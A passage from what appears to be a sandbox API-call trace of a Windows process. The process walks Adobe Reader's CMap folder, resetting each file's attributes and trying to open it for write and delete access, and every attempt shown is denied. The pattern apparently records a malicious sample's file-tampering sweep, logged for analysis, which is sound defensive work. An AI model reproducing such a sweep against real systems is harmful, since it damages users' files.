dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.700] GetLastError () returned 0x5 [0175.700] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GB-EUC-V", dwFileAttributes=0x20) returned 0 [0175.700] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced3460) returned 1 [0175.700] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80032fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15594, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBK-EUC-H", cAlternateFileName="GBK-EU~1")) returned 1 [0175.700] wcscmp (_String1="GBK-EUC-H", _String2=".") returned 1 [0175.700] wcscmp (_String1="GBK-EUC-H", _String2="..") returned 1 [0175.700] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1ced3460 [0175.701] wcscpy (in: _Dest=0x1ced3460, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0175.701] wcscat (in: _Dest=0x1ced3460, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0175.701] wcscat (in: _Dest=0x1ced3460, _Source="GBK-EUC-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK-EUC-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK-EUC-H" [0175.701] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK-EUC-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbk-euc-h")) returned 0x20 [0175.701] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK-EUC-H", dwFileAttributes=0x20) returned 0 [0175.701] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK-EUC-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbk-euc-h"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.701] GetLastError () returned 0x5 [0175.701] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK-EUC-H", dwFileAttributes=0x20) returned 0 [0175.702] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced3460) returned 1 [0175.702] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x39050, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBK-EUC-UCS2", cAlternateFileName="GBK-EU~2")) returned 1 [0175.702] wcscmp (_String1="GBK-EUC-UCS2", _String2=".") returned 1 [0175.702] wcscmp (_String1="GBK-EUC-UCS2", _String2="..") returned 1 [0175.702] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1ced3460 [0175.702] wcscpy (in: _Dest=0x1ced3460, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0175.702] wcscat (in: _Dest=0x1ced3460, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0175.702] wcscat (in: _Dest=0x1ced3460, _Source="GBK-EUC-UCS2" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK-EUC-UCS2") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK-EUC-UCS2" [0175.703] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK-EUC-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbk-euc-ucs2")) returned 0x20 [0175.703] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK-EUC-UCS2", dwFileAttributes=0x20) returned 0 [0175.703] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK-EUC-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbk-euc-ucs2"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.703] GetLastError () returned 0x5 [0175.703] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK-EUC-UCS2", dwFileAttributes=0x20) returned 0 [0175.704] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced3460) returned 1 [0175.704] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBK-EUC-V", cAlternateFileName="GBK-EU~3")) returned 1 [0175.704] wcscmp (_String1="GBK-EUC-V", _String2=".") returned 1 [0175.704] wcscmp (_String1="GBK-EUC-V", _String2="..") returned 1 [0175.704] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1ced3460 [0175.704] wcscpy (in: _Dest=0x1ced3460, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0175.704] wcscat (in: _Dest=0x1ced3460, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0175.704] wcscat (in: _Dest=0x1ced3460, _Source="GBK-EUC-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK-EUC-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK-EUC-V" [0175.704] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK-EUC-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbk-euc-v")) returned 0x20 [0175.705] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK-EUC-V", dwFileAttributes=0x20) returned 0 [0175.705] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK-EUC-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbk-euc-v"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.705] GetLastError () returned 0x5 [0175.705] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK-EUC-V", dwFileAttributes=0x20) returned 0 [0175.706] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced3460) returned 1 [0175.706] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x17840, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBK2K-H", cAlternateFileName="")) returned 1 [0175.706] wcscmp (_String1="GBK2K-H", _String2=".") returned 1 [0175.706] wcscmp (_String1="GBK2K-H", _String2="..") returned 1 [0175.706] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1ced3460 [0175.706] wcscpy (in: _Dest=0x1ced3460, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0175.706] wcscat (in: _Dest=0x1ced3460, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0175.706] wcscat (in: _Dest=0x1ced3460, _Source="GBK2K-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK2K-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK2K-H" [0175.707] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK2K-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbk2k-h")) returned 0x20 [0175.707] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK2K-H", dwFileAttributes=0x20) returned 0 [0175.707] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK2K-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbk2k-h"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.707] GetLastError () returned 0x5 [0175.707] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK2K-H", dwFileAttributes=0x20) returned 0 [0175.708] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced3460) returned 1 [0175.708] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe55, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBK2K-V", cAlternateFileName="")) returned 1 [0175.708] wcscmp (_String1="GBK2K-V", _String2=".") returned 1 [0175.708] wcscmp (_String1="GBK2K-V", _String2="..") returned 1 [0175.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1ced3460 [0175.708] wcscpy (in: _Dest=0x1ced3460, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0175.708] wcscat (in: _Dest=0x1ced3460, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0175.708] wcscat (in: _Dest=0x1ced3460, _Source="GBK2K-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK2K-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK2K-V" [0175.708] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK2K-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbk2k-v")) returned 0x20 [0175.708] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK2K-V", dwFileAttributes=0x20) returned 0 [0175.709] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK2K-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbk2k-v"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.709] GetLastError () returned 0x5 [0175.709] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK2K-V", dwFileAttributes=0x20) returned 0 [0175.709] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced3460) returned 1 [0175.709] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15580, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBKp-EUC-H", cAlternateFileName="GBKP-E~1")) returned 1 [0175.709] wcscmp (_String1="GBKp-EUC-H", _String2=".") returned 1 [0175.709] wcscmp (_String1="GBKp-EUC-H", _String2="..") returned 1 [0175.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x1ced3460 [0175.710] wcscpy (in: _Dest=0x1ced3460, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0175.710] wcscat (in: _Dest=0x1ced3460, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0175.710] wcscat (in: _Dest=0x1ced3460, _Source="GBKp-EUC-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBKp-EUC-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBKp-EUC-H" [0175.710] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBKp-EUC-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbkp-euc-h")) returned 0x20 [0175.710] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBKp-EUC-H", dwFileAttributes=0x20) returned 0 [0175.710] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBKp-EUC-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbkp-euc-h"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.710] GetLastError () returned 0x5 [0175.710] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBKp-EUC-H", dwFileAttributes=0x20) returned 0 [0175.711] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced3460) returned 1 [0175.711] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBKp-EUC-V", cAlternateFileName="GBKP-E~2")) returned 1 [0175.711] wcscmp (_String1="GBKp-EUC-V", _String2=".") returned 1 [0175.711] wcscmp (_String1="GBKp-EUC-V", _String2="..") returned 1 [0175.711] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x1ced3460 [0175.711] wcscpy (in: _Dest=0x1ced3460, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0175.711] wcscat (in: _Dest=0x1ced3460, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0175.711] wcscat (in: _Dest=0x1ced3460, _Source="GBKp-EUC-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBKp-EUC-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBKp-EUC-V" [0175.712] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBKp-EUC-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbkp-euc-v")) returned 0x20 [0175.713] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBKp-EUC-V", dwFileAttributes=0x20) returned 0 [0175.713] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBKp-EUC-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbkp-euc-v"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.713] GetLastError () returned 0x5 [0175.713] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBKp-EUC-V", dwFileAttributes=0x20) returned 0 [0175.713] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced3460) returned 1 [0175.714] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x125b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBpc-EUC-H", cAlternateFileName="GBPC-E~1")) returned 1 [0175.714] wcscmp (_String1="GBpc-EUC-H", _String2=".") returned 1 [0175.714] wcscmp (_String1="GBpc-EUC-H", _String2="..") returned 1 [0175.714] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x1ced3460 [0175.714] wcscpy (in: _Dest=0x1ced3460, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0175.714] wcscat (in: _Dest=0x1ced3460, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0175.714] wcscat (in: _Dest=0x1ced3460, _Source="GBpc-EUC-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBpc-EUC-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBpc-EUC-H" [0175.714] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBpc-EUC-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbpc-euc-h")) returned 0x20 [0175.714] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBpc-EUC-H", dwFileAttributes=0x20) returned 0 [0175.715] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBpc-EUC-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbpc-euc-h"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.715] GetLastError () returned 0x5 [0175.715] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBpc-EUC-H", dwFileAttributes=0x20) returned 0 [0175.715] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced3460) returned 1 [0175.715] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x520, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBpc-EUC-UCS2", cAlternateFileName="GBPC-E~2")) returned 1 [0175.715] wcscmp (_String1="GBpc-EUC-UCS2", _String2=".") returned 1 [0175.715] wcscmp (_String1="GBpc-EUC-UCS2", _String2="..") returned 1 [0175.715] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x42c31490 [0175.716] wcscpy (in: _Dest=0x42c31490, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0175.716] wcscat (in: _Dest=0x42c31490, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0175.716] wcscat (in: _Dest=0x42c31490, _Source="GBpc-EUC-UCS2" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBpc-EUC-UCS2") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBpc-EUC-UCS2" [0175.716] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBpc-EUC-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbpc-euc-ucs2")) returned 0x20 [0175.716] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBpc-EUC-UCS2", dwFileAttributes=0x20) returned 0 [0175.716] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBpc-EUC-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbpc-euc-ucs2"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.716] GetLastError () returned 0x5 [0175.716] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBpc-EUC-UCS2", dwFileAttributes=0x20) returned 0 [0175.717] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c31490) returned 1 [0175.717] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x24296, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBpc-EUC-UCS2C", cAlternateFileName="GBPC-E~3")) returned 1 [0175.717] wcscmp (_String1="GBpc-EUC-UCS2C", _String2=".") returned 1 [0175.717] wcscmp (_String1="GBpc-EUC-UCS2C", _String2="..") returned 1 [0175.717] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x42c31490 [0175.717] wcscpy (in: _Dest=0x42c31490, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0175.717] wcscat (in: _Dest=0x42c31490, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0175.717] wcscat (in: _Dest=0x42c31490, _Source="GBpc-EUC-UCS2C" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBpc-EUC-UCS2C") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBpc-EUC-UCS2C" [0175.717] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBpc-EUC-UCS2C" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbpc-euc-ucs2c")) returned 0x20 [0175.717] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBpc-EUC-UCS2C", dwFileAttributes=0x20) returned 0 [0175.718] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBpc-EUC-UCS2C" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbpc-euc-ucs2c"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, 